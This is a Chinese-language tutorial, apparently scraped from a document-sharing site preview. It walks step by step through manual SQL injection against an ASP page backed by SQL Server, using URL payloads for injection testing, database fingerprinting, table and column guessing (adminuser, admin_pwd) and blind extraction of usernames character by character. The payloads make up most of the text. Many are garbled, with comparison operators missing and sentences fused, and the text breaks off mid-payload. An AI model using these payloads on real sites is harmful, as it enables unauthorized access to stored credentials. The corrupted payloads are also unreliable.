SQL注入攻击实例MS_SQL_Server.doc
文本预览下载声明
实例——注入攻击SQL Server
第1步:加单引号/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示加单引号and 1=1”。如图6.3所示,在浏览器地址栏中/ detail.asp? productid=392后面加“and 1=1”,按Enter键后,服务器返回正常页面and 1=1”
第3步:测试“and 1=2”。如图6.4所示,在浏览器地址栏中/ detail.asp?productid=392后面加“and 1=2”,按Enter键后,服务器返回错误提示and 1=2”
如果一个网站不可以注入:显示
第4步:判断数据库类型/detail.asp?productid=392后面加“and user0”,按Enter键后,服务器返回错误提示QL Server数据库and user0”
如果是SQL Server数据库,那么网址页面与/detail.asp? productid=392”是一样的,如图6.6所示。
使用下面的语句:
/detail.asp?productid=392 and (select count(*) from sysobjects)0
如果是SQL Server数据库,由于找不到表msysobjects,服务器返回错误提示对象名msysobjects无效。,程序有容错,服务器返回页面也与原页面不同使用下面的语句:
/ReadNews.asp?NewsID=294 and (select count(*) from msysobjects)0,服务器返回错误提示不能读取记录;在msysobjects上没有读取数据权限。SQL Server数据库使用下面的语句:
/ReadNews.asp?NewsID=294 and (select count(*) from sysobjects)0,服务器返回错误提示表名网站进行的测试。
如图6.10所示,在浏览器地址栏中/detail.asp?productid=392后面加“and (select count(*) from admin)=0”,按Enter键后,服务器返回错误提示admin”表。
图6.10 猜测表名失败
继续猜测表名,如图6.11所示,在/detail.asp?productid=392后面加“and (select count(*) from adminuser)=0”,返回正常页面,adminuser”表,猜测成功。
注意,猜测表名时也可以使用如下形式:
/detail.asp?productid=392 and exists(select * from admin)
/detail.asp?productid=392 and exists(select * from adminuser)
第6步:猜测字段名猜出表名后,将ount(*)替换成ount(字段名,用同样的猜解字段名。
/detail.asp?productid=392后面加“and exists (select count(name) from adminuser)=0”,按Enter键后,服务器返回错误提示name”用户名字段字段名字段名/detail.asp?productid=392后面加“and (select count(admin_name) from adminuser)=0”,返回正常页面admin_name”用户名字段名猜测字段名/detail.asp?productid=392 and (select count(admin_pwd) from adminuser)=0返回正常页面字段猜测成功字段名admin_pwd”。
第7步:猜测用户名已知表adminuser中存在admin_name字段,下面ASCII逐字解码法用户名。
首先,猜测用户名的长度/detail.asp?productid=392后面加“and (select top 1 len(admin_name) from adminuser)11”,含义是取第一条记录,测试用户名长度返回正常页面,用户名的长度用户名长度长度/detail.asp?productid=392后面加“and (select top 1 len(admin_name) from adminuser)12”,返回页面,用户名的长度用户名的长度用户名长度得到admin_name的长度,用unicode(substring(admin_name, N, 1))第N位字符ASCII码,比如:productid=392 and (select top 1 unicode(substring(admin_name, 1, 1)) from ad
显示全部